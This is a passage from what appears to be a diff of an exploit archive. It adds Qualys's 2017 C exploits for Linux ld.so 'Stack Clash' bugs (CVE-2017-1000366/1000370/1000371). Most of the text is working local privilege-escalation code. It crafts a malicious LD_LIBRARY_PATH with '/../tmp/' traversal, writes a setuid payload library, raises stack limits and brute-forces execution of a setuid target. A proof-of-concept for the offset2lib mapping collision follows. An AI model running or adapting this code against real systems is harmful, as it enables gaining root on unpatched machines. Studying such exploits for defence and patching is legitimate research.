temp[m].len = 3;
|
||||
++m;
|
||||
|
||||
assert (m == cnt);
|
||||
|
||||
/* Determine the total size of all strings together. */
|
||||
if (cnt == 1)
|
||||
total = temp[0].len + 1;
|
||||
else
|
||||
{
|
||||
total = temp[0].len + temp[cnt - 1].len + 2;
|
||||
if (cnt > 2)
|
||||
{
|
||||
total <<= 1;
|
||||
for (n = 1; n + 1 < cnt; ++n)
|
||||
total += temp[n].len + 1;
|
||||
if (cnt > 3
|
||||
&& (cnt >= sizeof (size_t) * 8
|
||||
|| total + (sizeof (*result) << 3)
|
||||
>= (1UL << (sizeof (size_t) * 8 - cnt + 3))))
|
||||
return err;
|
||||
|
||||
total <<= cnt - 3;
|
||||
}
|
||||
}
|
||||
|
||||
/* The result structure: we use a very compressed way to store the
|
||||
various combinations of capability names. */
|
||||
const size_t _sz = 1 << cnt;
|
||||
|
||||
/* Now we are ready to install the string pointers and length. */
|
||||
size_t max_capstrlen = 0;
|
||||
n = cnt;
|
||||
do
|
||||
{
|
||||
const size_t mask = 1 << --n;
|
||||
for (m = 1 << cnt; m > 0; ) {
|
||||
if ((--m & mask) != 0)
|
||||
max_capstrlen += temp[n].len + 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
while (n != 0);
|
||||
|
||||
if (hwcap_mask > ULONG_MAX) die();
|
||||
const struct my_important_hwcaps ret = {
|
||||
.hwcap_mask = hwcap_mask,
|
||||
.max_capstrlen = max_capstrlen,
|
||||
.pointers = _sz * sizeof (*result),
|
||||
.strings = total,
|
||||
};
|
||||
return ret;
|
||||
}
|
||||
|
||||
static size_t
|
||||
my_bsearch(const void * const key,
|
||||
const void * const base, const size_t nmemb, const size_t size,
|
||||
int (* const compar)(const void *, const void *))
|
||||
{
|
||||
if (!key) die();
|
||||
if (!size) die();
|
||||
if (!compar) die();
|
||||
if (nmemb >= SSIZE_MAX / size) die();
|
||||
if (!base != !nmemb) die();
|
||||
if (!base || !nmemb) return 0;
|
||||
|
||||
size_t low = 0;
|
||||
size_t high = nmemb - 1;
|
||||
while (low <= high) {
|
||||
const size_t mid = low + (high - low) / 2;
|
||||
if (mid >= nmemb) die();
|
||||
const int cond = compar(key, base + mid * size);
|
||||
switch (cond) {
|
||||
case 0:
|
||||
return mid;
|
||||
case -1:
|
||||
if (mid <= 0) {
|
||||
if (mid != 0) die();
|
||||
if (low != 0) die();
|
||||
return low;
|
||||
}
|
||||
high = mid - 1;
|
||||
break;
|
||||
case +1:
|
||||
low = mid + 1;
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
}
|
||||
if (low > nmemb) die();
|
||||
return low;
|
||||
}
|
||||
|
||||
static int
|
||||
cmp_important_hwcaps(const void * const _a, const void * const _b)
|
||||
{
|
||||
const struct my_important_hwcaps * const a = _a;
|
||||
const struct my_important_hwcaps * const b = _b;
|
||||
|
||||
if (a->strings < b->strings) return -1;
|
||||
if (a->strings > b->strings) return +1;
|
||||
|
||||
if (a->pointers < b->pointers) return -1;
|
||||
if (a->pointers > b->pointers) return +1;
|
||||
|
||||
if (a->max_capstrlen < b->max_capstrlen) return -1;
|
||||
if (a->max_capstrlen > b->max_capstrlen) return +1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void
|
||||
copy_lib(const char * const src, const char * const dst)
|
||||
{
|
||||
if (!src) die();
|
||||
if (*src != '/') die();
|
||||
|
||||
if (!dst) die();
|
||||
if (*dst != '/') die();
|
||||
|
||||
const int src_fd = open(src, O_RDONLY);
|
||||
if (src_fd <= -1) die();
|
||||
|
||||
const int dst_fd = open(dst, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
|
||||
if (dst_fd <= -1) die();
|
||||
|
||||
for (;;) {
|
||||
char buf[1024];
|
||||
const ssize_t rd = read(src_fd, buf, sizeof(buf));
|
||||
if (rd == 0) break;
|
||||
if (rd <= 0) die();
|
||||
const ssize_t wr = write(dst_fd, buf, rd);
|
||||
if (wr != rd) die();
|
||||
}
|
||||
|
||||
if (fchmod(dst_fd, 0755)) die();
|
||||
if (close(dst_fd)) die();
|
||||
if (close(src_fd)) die();
|
||||
}
|
||||
|
||||
static void
|
||||
create_needed_libs(const char * const bin, const char * const dir)
|
||||
{
|
||||
if (!bin) die();
|
||||
if (*bin != '/') die();
|
||||
if (strspn(bin, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+,-./_") != strlen(bin)) die();
|
||||
|
||||
if (!dir) die();
|
||||
if (*dir != '/') die();
|
||||
if (dir[strlen(dir)-1] != '/') die();
|
||||
|
||||
char cmd[256];
|
||||
if ((unsigned int)snprintf(cmd, sizeof(cmd), "/usr/bin/env - %s --list %s", LDSO, bin)
|
||||
>= sizeof(cmd)) die();
|
||||
FILE * const fp = popen(cmd, "r");
|
||||
if (!fp) die();
|
||||
|
||||
char buf[256];
|
||||
unsigned int num_libs = 0;
|
||||
while (fgets(buf, sizeof(buf), fp) == buf) {
|
||||
if (!strchr(buf, '\n')) die();
|
||||
|
||||
const char * const rel_lib = buf + strspn(buf, "\t ");
|
||||
if (strncmp(rel_lib, "lib", 3)) continue;
|
||||
|
||||
char * sp = strchr(rel_lib, ' ');
|
||||
if (!sp) die();
|
||||
if (strncmp(sp, " => /", 5)) die();
|
||||
*sp = '\0';
|
||||
if (strchr(rel_lib, '/')) die();
|
||||
|
||||
const char * const abs_lib = sp + 4;
|
||||
if (*abs_lib != '/') die();
|
||||
sp = strchr(abs_lib, ' ');
|
||||
if (!sp) die();
|
||||
if (strncmp(sp, " (0x", 4)) die();
|
||||
*sp = '\0';
|
||||
|
||||
size_t i;
|
||||
static const char * const prefixes[] = { "", "/", "/.", "/.." };
|
||||
for (i = 0; i < sizeof(prefixes)/sizeof(*prefixes); i++) {
|
||||
|
||||
char tmp_lib[256];
|
||||
if ((unsigned int)snprintf(tmp_lib, sizeof(tmp_lib), "%s%s%s", dir, prefixes[i], rel_lib)
|
||||
>= sizeof(tmp_lib)) die();
|
||||
copy_lib(abs_lib, tmp_lib);
|
||||
}
|
||||
if (!++num_libs) die();
|
||||
}
|
||||
if (!num_libs) die();
|
||||
printf("copied %u lib%s\n", num_libs, num_libs > 1 ? "s" : "");
|
||||
if (pclose(fp) != EXIT_SUCCESS) die();
|
||||
}
|
||||
|
||||
int
|
||||
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
|
||||
{
|
||||
{
|
||||
const char * const * p = my_envp;
|
||||
while (*p++) ;
|
||||
my_auxv = (const void *)p;
|
||||
}
|
||||
if (my_getauxval(AT_PAGESZ) != PAGESZ) die();
|
||||
|
||||
if (my_argc != 1+2) {
|
||||
printf("Usage: %s target binary\n", my_argv[0]);
|
||||
size_t i;
|
||||
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
|
||||
printf("Target %zu %s\n", i, targets[i].name);
|
||||
}
|
||||
die();
|
||||
}
|
||||
{
|
||||
const size_t i = strtoul(my_argv[1], NULL, 10);
|
||||
if (i >= sizeof(targets)/sizeof(*targets)) die();
|
||||
target = targets + i;
|
||||
printf("Target %zu %s\n", i, target->name);
|
||||
}
|
||||
const size_t safe_stack_size = target->CVE_2015_1593 ? 65536 : 32768;
|
||||
printf("safe_stack_size %zu\n", safe_stack_size);
|
||||
if (safe_stack_size <= SUB_STACK_RAND) die();
|
||||
|
||||
const char * const binary = realpath(my_argv[2], NULL);
|
||||
if (!binary) die();
|
||||
if (*binary != '/') die();
|
||||
if (access(binary, R_OK | X_OK)) die();
|
||||
const struct elf_info elf_binary = get_elf_info(binary);
|
||||
const struct elf_info elf_interp = get_elf_info(LDSO);
|
||||
const struct elf_info elf = (elf_binary.type == ET_DYN && target->offset2lib && !target->jump_ldso_pie) ? elf_binary : elf_interp;
|
||||
const size_t jump_ldso_pie = (elf_binary.type == ET_DYN && target->offset2lib && target->jump_ldso_pie) ? (elf_binary.rx_end - elf_binary.rx_start) : 0;
|
||||
if (elf.rw_start - elf.rx_end <= target->vdso_vvar) die();
|
||||
|
||||
const char * const slash = strrchr(binary, '/');
|
||||
if (!slash) die();
|
||||
if (slash <= binary) die();
|
||||
const char * const origin = strndup(binary, slash - binary);
|
||||
if (!origin) die();
|
||||
printf("origin %s (%zu)\n", origin, strlen(origin));
|
||||
|
||||
const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
|
||||
if (!platform) die();
|
||||
if (strcmp(platform, "x86_64") != 0) die();
|
||||
const size_t platform_len = strlen(platform);
|
||||
|
||||
const struct {
|
||||
const char * str;
|
||||
size_t len;
|
||||
size_t repl_len;
|
||||
} DSTs[] = {
|
||||
#define DST_LIB "LIB"
|
||||
{ DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
|
||||
#define DST_PLATFORM "PLATFORM"
|
||||
{ DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
|
||||
};
|
||||
size_t repl_max = target->ignore_origin ? 0 : strlen(origin);
|
||||
{
|
||||
size_t i;
|
||||
for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
|
||||
if (repl_max < DSTs[i].repl_len)
|
||||
repl_max = DSTs[i].repl_len;
|
||||
}
|
||||
}
|
||||
printf("repl_max %zu\n", repl_max);
|
||||
if (repl_max < 4) die();
|
||||
|
||||
const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR);
|
||||
if (!sysinfo_dso) die();
|
||||
struct my_link_map sysinfo_map = {
|
||||
.l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff,
|
||||
.l_phnum = sysinfo_dso->e_phnum,
|
||||
.l_addr = ULONG_MAX
|
||||
};
|
||||
{
|
||||
uint_fast16_t i;
|
||||
for (i = 0; i < sysinfo_map.l_phnum; ++i) {
|
||||
const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i];
|
||||
if (ph->p_type == PT_LOAD) {
|
||||
if (sysinfo_map.l_addr == ULONG_MAX)
|
||||
sysinfo_map.l_addr = ph->p_vaddr;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (sysinfo_map.l_addr == ULONG_MAX) die();
|
||||
sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr;
|
||||
|
||||
const unsigned long hwcap = my_getauxval(AT_HWCAP);
|
||||
if (!hwcap) die();
|
||||
struct my_important_hwcaps * important_hwcaps = NULL;
|
||||
size_t num_important_hwcaps = 0;
|
||||
{
|
||||
size_t max_important_hwcaps = 0;
|
||||
uint32_t hwcap_mask = 1;
|
||||
do {
|
||||
if (hwcap_mask & ~hwcap) continue;
|
||||
const uint64_t popcount = __builtin_popcount(hwcap_mask);
|
||||
if (popcount < 1) die();
|
||||
if (popcount > 32) die();
|
||||
|
||||
const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map);
|
||||
if (!ihc.pointers) die();
|
||||
|
||||
const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
|
||||
if (idx > num_important_hwcaps) die();
|
||||
|
||||
if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) {
|
||||
if (num_important_hwcaps >= max_important_hwcaps) {
|
||||
if (num_important_hwcaps != max_important_hwcaps) die();
|
||||
if (max_important_hwcaps >= 65536) die();
|
||||
max_important_hwcaps += 256;
|
||||
|
||||
if (num_important_hwcaps >= max_important_hwcaps) die();
|
||||
important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps));
|
||||
if (!important_hwcaps) die();
|
||||
}
|
||||
memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps));
|
||||
important_hwcaps[idx] = ihc;
|
||||
num_important_hwcaps++;
|
||||
}
|
||||
if (!(hwcap_mask % 0x10000000))
|
||||
printf("num_important_hwcaps %zu hwcap_mask %x\n", num_important_hwcaps, hwcap_mask);
|
||||
} while (++hwcap_mask);
|
||||
}
|
||||
printf("num_important_hwcaps %zu\n", num_important_hwcaps);
|
||||
|
||||
static struct {
|
||||
size_t len, gwr, dst, cnt;
|
||||
struct my_important_hwcaps ihc;
|
||||
} best = { .ihc = { .pointers = SIZE_MAX } };
|
||||
|
||||
if (strrchr(target->system_dir, '/') != target->system_dir) die();
|
||||
const char * const sep_lib = my_asprintf(":%s", target->system_dir);
|
||||
const size_t sep_lib_len = strlen(sep_lib);
|
||||
if (sep_lib_len >= MALLOC_ALIGN) die();
|
||||
|
||||
#define LLP "LD_LIBRARY_PATH="
|
||||
static char llp[MAX_ARG_STRLEN];
|
||||
|
||||
size_t len;
|
||||
for (len = sizeof(llp) - sizeof(LLP); len >= MALLOC_ALIGN; len -= MALLOC_ALIGN) {
|
||||
|
||||
size_t gwr;
|
||||
for (gwr = MALLOC_ALIGN; gwr <= len - sep_lib_len; gwr += MALLOC_ALIGN) {
|
||||
|
||||
size_t dst;
|
||||
for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
|
||||
|
||||
const size_t cnt = (len - sep_lib_len - gwr) / (1 + DSTs[dst].len + 1);
|
||||
const size_t gpj = (len + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1);
|
||||
const size_t bwr = (cnt * (DSTs[dst].repl_len + 1)) + (len - gwr - cnt * (1 + DSTs[dst].len + 1)) + 1;
|
||||
|
||||
size_t idx;
|
||||
for (idx = 0; idx < num_important_hwcaps; idx++) {
|
||||
const struct my_important_hwcaps ihc = important_hwcaps[idx];
|
||||
if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue;
|
||||
if (ihc.pointers <= 2 * SUB_STACK_RAND) continue;
|
||||
|
||||
const size_t nup = ((ihc.pointers + ihc.strings + PAGESZ-1) & ~(PAGESZ-1)) + (target->extra_page * PAGESZ);
|
||||
if (nup >= (elf.rw_start - elf.rx_end) - target->vdso_vvar) continue;
|
||||
|
||||
const size_t ihc_strings_start = ihc.pointers;
|
||||
const size_t ihc_strings_end = ihc_strings_start + ihc.strings;
|
||||
|
||||
const size_t gpj_base = nup + target->vdso_vvar + (elf.rw_end - elf.rw_start) + jump_ldso_pie + PAGESZ + safe_stack_size;
|
||||
const size_t gpj_base_lo = gpj_base - SUB_STACK_RAND;
|
||||
const size_t gpj_base_hi = gpj_base + SUB_STACK_RAND;
|
||||
|
||||
if (gpj_base_lo <= gpj) continue;
|
||||
if (gpj_base_hi - gpj >= ihc_strings_start) continue;
|
||||
if (gpj_base_lo - gpj + gwr <= ihc_strings_start) continue;
|
||||
if (gpj_base_hi - gpj + gwr + bwr >= ihc_strings_end) continue;
|
||||
|
||||
if (best.ihc.pointers <= ihc.pointers) continue;
|
||||
best.ihc = ihc;
|
||||
best.len = len;
|
||||
best.gwr = gwr;
|
||||
best.dst = dst;
|
||||
best.cnt = cnt;
|
||||
printf("max %zu ihcp %zu ihcs %zu len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu\n",
|
||||
ihc.max_capstrlen, ihc.pointers, ihc.strings, len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (best.ihc.pointers >= SIZE_MAX) die();
|
||||
|
||||
if (INITIAL_STACK_EXPANSION <= safe_stack_size) die();
|
||||
const size_t pads = (INITIAL_STACK_EXPANSION - safe_stack_size) / sizeof(char *);
|
||||
static char pad[MAX_ARG_STRLEN];
|
||||
memset(pad, ' ', sizeof(pad)-1);
|
||||
|
||||
{
|
||||
char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
|
||||
memset(cp, '/', best.len);
|
||||
if (best.len <= sep_lib_len) die();
|
||||
memcpy(cp + best.len - sep_lib_len, sep_lib, sep_lib_len);
|
||||
if (*(cp + best.len)) die();
|
||||
|
||||
#define LIB_TO_TMP "/../tmp/"
|
||||
if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die();
|
||||
|
||||
if (!best.gwr) die();
|
||||
if (best.gwr >= best.len) die();
|
||||
if (best.gwr % MALLOC_ALIGN) die();
|
||||
size_t i;
|
||||
for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) {
|
||||
cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN);
|
||||
}
|
||||
if (!best.cnt) die();
|
||||
if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
|
||||
for (i = 0; i < best.cnt; i++) {
|
||||
*cp++ = '$';
|
||||
cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
|
||||
*cp++ = '/';
|
||||
}
|
||||
if (cp >= llp + sizeof(llp)) die();
|
||||
if (llp[sizeof(llp)-1]) die();
|
||||
if (strlen(llp) != sizeof(LLP)-1 + best.len) die();
|
||||
}
|
||||
|
||||
#define LHCM "LD_HWCAP_MASK="
|
||||
static char lhcm[64];
|
||||
if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask)
|
||||
>= sizeof(lhcm)) die();
|
||||
|
||||
const size_t args = 1 + (target->jump_ldso_pie ? 0 : pads) + 1;
|
||||
char ** const argv = calloc(args, sizeof(char *));
|
||||
if (!argv) die();
|
||||
{
|
||||
char ** ap = argv;
|
||||
*ap++ = (char *)binary;
|
||||
if (!target->jump_ldso_pie) {
|
||||
size_t i;
|
||||
for (i = 0; i < pads; i++) {
|
||||
*ap++ = pad;
|
||||
}
|
||||
}
|
||||
*ap++ = NULL;
|
||||
if (ap != argv + args) die();
|
||||
}
|
||||
|
||||
const size_t envs = 3 + (target->jump_ldso_pie ? pads : 0) + 1;
|
||||
char ** const envp = calloc(envs, sizeof(char *));
|
||||
if (!envp) die();
|
||||
{
|
||||
char ** ep = envp;
|
||||
*ep++ = llp;
|
||||
*ep++ = lhcm;
|
||||
#define REL_LA "a"
|
||||
#define LDA "LD_AUDIT="
|
||||
#define LDP "LD_PRELOAD="
|
||||
*ep++ = target->disable_audit ? LDP REL_LA : LDA REL_LA;
|
||||
if (target->jump_ldso_pie) {
|
||||
size_t i;
|
||||
for (i = 0; i < pads; i++) {
|
||||
*ep++ = pad;
|
||||
}
|
||||
}
|
||||
*ep++ = NULL;
|
||||
if (ep != envp + envs) die();
|
||||
}
|
||||
|
||||
{
|
||||
const size_t MIN_GAP = target->CVE_2015_1593 ?
|
||||
(128*1024*1024UL + (((-1U ) & 0x3fffff) << 12)) :
|
||||
(128*1024*1024UL + (((-1UL) & 0x3fffff) << 12)) ;
|
||||
printf("MIN_GAP %zu\n", MIN_GAP);
|
||||
|
||||
if (pads * sizeof(pad) + (1<<20) >= MIN_GAP / 4) die();
|
||||
const struct rlimit rlimit_stack = { MIN_GAP, MIN_GAP };
|
||||
if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
|
||||
}
|
||||
|
||||
int pipefd[2];
|
||||
if (pipe(pipefd)) die();
|
||||
if (close(pipefd[0])) die();
|
||||
pipefd[0] = -1;
|
||||
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
|
||||
|
||||
{
|
||||
const char * const abs_la_dir = my_asprintf("/%s/%s/", target->system_dir, LIB_TO_TMP);
|
||||
const char * const abs_las[] = {
|
||||
my_asprintf("%s%s%s", abs_la_dir, "", REL_LA),
|
||||
my_asprintf("%s%s%s", abs_la_dir, "/", REL_LA),
|
||||
my_asprintf("%s%s%s", abs_la_dir, "/.", REL_LA),
|
||||
my_asprintf("%s%s%s", abs_la_dir, "/..", REL_LA),
|
||||
};
|
||||
size_t i;
|
||||
for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) {
|
||||
const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
|
||||
if (fd <= -1) die();
|
||||
{
|
||||
struct stat st;
|
||||
if (fstat(fd, &st)) die();
|
||||
if (!S_ISREG(st.st_mode)) die();
|
||||
if (st.st_uid != getuid()) die();
|
||||
if (st.st_uid != geteuid()) die();
|
||||
}
|
||||
{
|
||||
static const
|
||||
#include "la.so.h"
|
||||
if (sizeof(la_so) != la_so_len) die();
|
||||
if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die();
|
||||
}
|
||||
if (fchmod(fd, 04755)) die();
|
||||
if (close(fd)) die();
|
||||
}
|
||||
if (target->disable_audit) create_needed_libs(binary, abs_la_dir);
|
||||
}
|
||||
|
||||
size_t try;
|
||||
for (try = 1; try; try++) {
|
||||
if (fflush(stdout)) die();
|
||||
const pid_t pid = fork();
|
||||
if (pid <= -1) die();
|
||||
if (pid == 0) {
|
||||
if (dup2(pipefd[1], 1) != 1) die();
|
||||
if (dup2(pipefd[1], 2) != 2) die();
|
||||
execve(*argv, argv, envp);
|
||||
die();
|
||||
}
|
||||
int status = 0;
|
||||
struct timeval start, stop, diff;
|
||||
if (gettimeofday(&start, NULL)) die();
|
||||
if (waitpid(pid, &status, WUNTRACED) != pid) die();
|
||||
if (gettimeofday(&stop, NULL)) die();
|
||||
timersub(&stop, &start, &diff);
|
||||
printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);
|
||||
|
||||
if (WIFSIGNALED(status)) {
|
||||
printf("signal %d\n", WTERMSIG(status));
|
||||
switch (WTERMSIG(status)) {
|
||||
case SIGPIPE:
|
||||
case SIGSEGV:
|
||||
case SIGBUS:
|
||||
break;
|
||||
default:
|
||||
die();
|
||||
}
|
||||
} else if (WIFEXITED(status)) {
|
||||
printf("exited %d\n", WEXITSTATUS(status));
|
||||
die();
|
||||
} else if (WIFSTOPPED(status)) {
|
||||
printf("stopped %d\n", WSTOPSIG(status));
|
||||
die();
|
||||
} else {
|
||||
printf("unknown %d\n", status);
|
||||
die();
|
||||
}
|
||||
}
|
||||
die();
|
||||
}
|
194
platforms/lin_x86/local/42273.c
Executable file
194
platforms/lin_x86/local/42273.c
Executable file
|
@ -0,0 +1,194 @@
|
|||
/*
|
||||
* Linux_offset2lib.c for CVE-2017-1000370 and CVE-2017-1000371
|
||||
* Copyright (C) 2017 Qualys, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/resource.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define die() do { \
|
||||
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
|
||||
exit(EXIT_FAILURE); \
|
||||
} while (0)
|
||||
|
||||
#define MAX_STACK_SIZE ((size_t)1<<30)
|
||||
#define MAX_ARG_STRLEN ((size_t)128<<10)
|
||||
#define MIN_ARGC 1024
|
||||
|
||||
static void
|
||||
analyze_mappings(const char * const binary)
|
||||
{
|
||||
if (!binary) die();
|
||||
if (strchr(binary, ' ')) die();
|
||||
int rval = EXIT_FAILURE;
|
||||
int dump = 0;
|
||||
|
||||
const int fd = open("/proc/self/maps", O_RDONLY);
|
||||
if (fd <= -1) die();
|
||||
|
||||
static char buf[4096] = " ";
|
||||
char * cp = buf;
|
||||
for (;;) {
|
||||
if (cp >= buf + sizeof(buf)) die();
|
||||
const ssize_t nr = read(fd, cp, buf + sizeof(buf) - cp);
|
||||
if (nr <= 0) {
|
||||
if (nr == 0) break;
|
||||
if (nr != -1) die();
|
||||
if (errno != EAGAIN && errno != EINTR) die();
|
||||
continue;
|
||||
}
|
||||
cp += nr;
|
||||
}
|
||||
*cp = '\0';
|
||||
if (memchr(buf, '\0', sizeof(buf)) != cp) die();
|
||||
|
||||
size_t hi_bin = 0;
|
||||
size_t lo_lib = 0;
|
||||
size_t lo_heap = 0;
|
||||
size_t lo_stack = 0;
|
||||
const char * line = buf;
|
||||
for (;;) {
|
||||
char * const nl = strchr(line, '\n');
|
||||
if (!nl) die();
|
||||
*nl = '\0';
|
||||
|
||||
cp = NULL;
|
||||
const size_t lo = strtoul(line, &cp, 16);
|
||||
if (cp <= line || *cp != '-') die();
|
||||
if (lo <= 0) die();
|
||||
|
||||
line = cp + 1;
|
||||
cp = NULL;
|
||||
const size_t hi = strtoul(line, &cp, 16);
|
||||
if (cp <= line || *cp != ' ') die();
|
||||
if (hi <= lo) die();
|
||||
|
||||
cp = strrchr(cp + 1, ' ');
|
||||
if (!cp) die();
|
||||
cp++;
|
||||
|
||||
if (!strcmp(cp, binary)) {
|
||||
hi_bin = hi;
|
||||
if (lo == 0x08048000) {
|
||||
fprintf(stderr, "Please recompile with -fpie -pie\n");
|
||||
die();
|
||||
}
|
||||
} else if (!strcmp(cp, "[heap]")) {
|
||||
if (!lo_heap) lo_heap = lo;
|
||||
else {
|
||||
if (lo_stack) die();
|
||||
lo_stack = lo;
|
||||
dump = 1;
|
||||
}
|
||||
} else if (!strcmp(cp, "[stack]")) {
|
||||
if (!lo_stack) lo_stack = lo;
|
||||
else {
|
||||
die();
|
||||
}
|
||||
} else if (*cp == '/') {
|
||||
if (!lo_lib) lo_lib = lo;
|
||||
}
|
||||
|
||||
*nl = '\n';
|
||||
line = nl + 1;
|
||||
if (*line == '\0') break;
|
||||
}
|
||||
if (!hi_bin) die();
|
||||
if (!lo_lib) die();
|
||||
if (!lo_stack) {
|
||||
if (!lo_heap) die();
|
||||
lo_stack = lo_heap;
|
||||
lo_heap = 0;
|
||||
}
|
||||
|
||||
if (hi_bin <= lo_lib && lo_lib - hi_bin <= 4096) {
|
||||
fprintf(stderr, "CVE-2017-1000370 triggered\n");
|
||||
rval = EXIT_SUCCESS;
|
||||
dump = 1;
|
||||
}
|
||||
if (hi_bin <= lo_stack && lo_stack - hi_bin <= 4096) {
|
||||
fprintf(stderr, "CVE-2017-1000371 triggered\n");
|
||||
rval = EXIT_SUCCESS;
|
||||
dump = 1;
|
||||
}
|
||||
if (dump) {
|
||||
const ssize_t len = strlen(buf);
|
||||
if (len <= 0) die();
|
||||
if (write(STDERR_FILENO, buf, len) != len) die();
|
||||
}
|
||||
if (close(fd)) die();
|
||||
exit(rval);
|
||||
}
|
||||
|
||||
int
|
||||
main(const int my_argc, const char * const my_argv[])
|
||||
{
|
||||
if (my_argc >= MIN_ARGC) {
|
||||
analyze_mappings(*my_argv);
|
||||
die();
|
||||
}
|
||||
|
||||
size_t stack_size = MAX_STACK_SIZE;
|
||||
if (my_argc == 2) stack_size = strtoul(my_argv[1], NULL, 0);
|
||||
else if (my_argc != 1) die();
|
||||
if (stack_size > MAX_STACK_SIZE) die();
|
||||
|
||||
static char arg[MAX_ARG_STRLEN] = " ";
|
||||
memset(arg, ' ', sizeof(arg)-1);
|
||||
|
||||
const size_t argc = 1 + stack_size / (sizeof(arg) + sizeof(char *));
|
||||
if (argc < MIN_ARGC) die();
|
||||
|
||||
char ** const argv = calloc(argc + 1, sizeof(char *));
|
||||
if (!argv) die();
|
||||
|
||||
char * const binary = realpath(*my_argv, NULL);
|
||||
if (!binary) die();
|
||||
*argv = binary;
|
||||
|
||||
size_t i;
|
||||
for (i = 1; i < argc; i++) argv[i] = arg;
|
||||
if (i != argc) die();
|
||||
if (argv[i]) die();
|
||||
|
||||
for (i = 1; i; i++) {
|
||||
fprintf(stderr, "Run #%zu...\n", i);
|
||||
const pid_t pid = fork();
|
||||
if (pid <= -1) die();
|
||||
if (pid == 0) {
|
||||
static const struct rlimit stack_limit = { RLIM_INFINITY, RLIM_INFINITY };
|
||||
if (setrlimit(RLIMIT_STACK, &stack_limit)) die();
|
||||
execve(*argv, argv, NULL);
|
||||
die();
|
||||
}
|
||||
int status = 0;
|
||||
if (waitpid(pid, &status, WUNTRACED) != pid) die();
|
||||
if (!WIFEXITED(status)) die();
|
||||
if (WEXITSTATUS(status) == EXIT_SUCCESS) continue;
|
||||
if (WEXITSTATUS(status) != EXIT_FAILURE) die();
|
||||
}
|
||||
die();
|
||||
}
|
1024
platforms/lin_x86/local/42274.c
Executable file
1024
platforms/lin_x86/local/42274.c
Executable file
File diff suppressed because it is too large
Load diff
582
platforms/lin_x86/local/42276.c
Executable file
582
platforms/lin_x86/local/42276.c
Executable file
|
@ -0,0 +1,582 @@
|
|||
/*
|
||||
* Linux_ldso_dynamic.c for CVE-2017-1000366, CVE-2017-1000371
|
||||
* Copyright (C) 2017 Qualys, Inc.
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
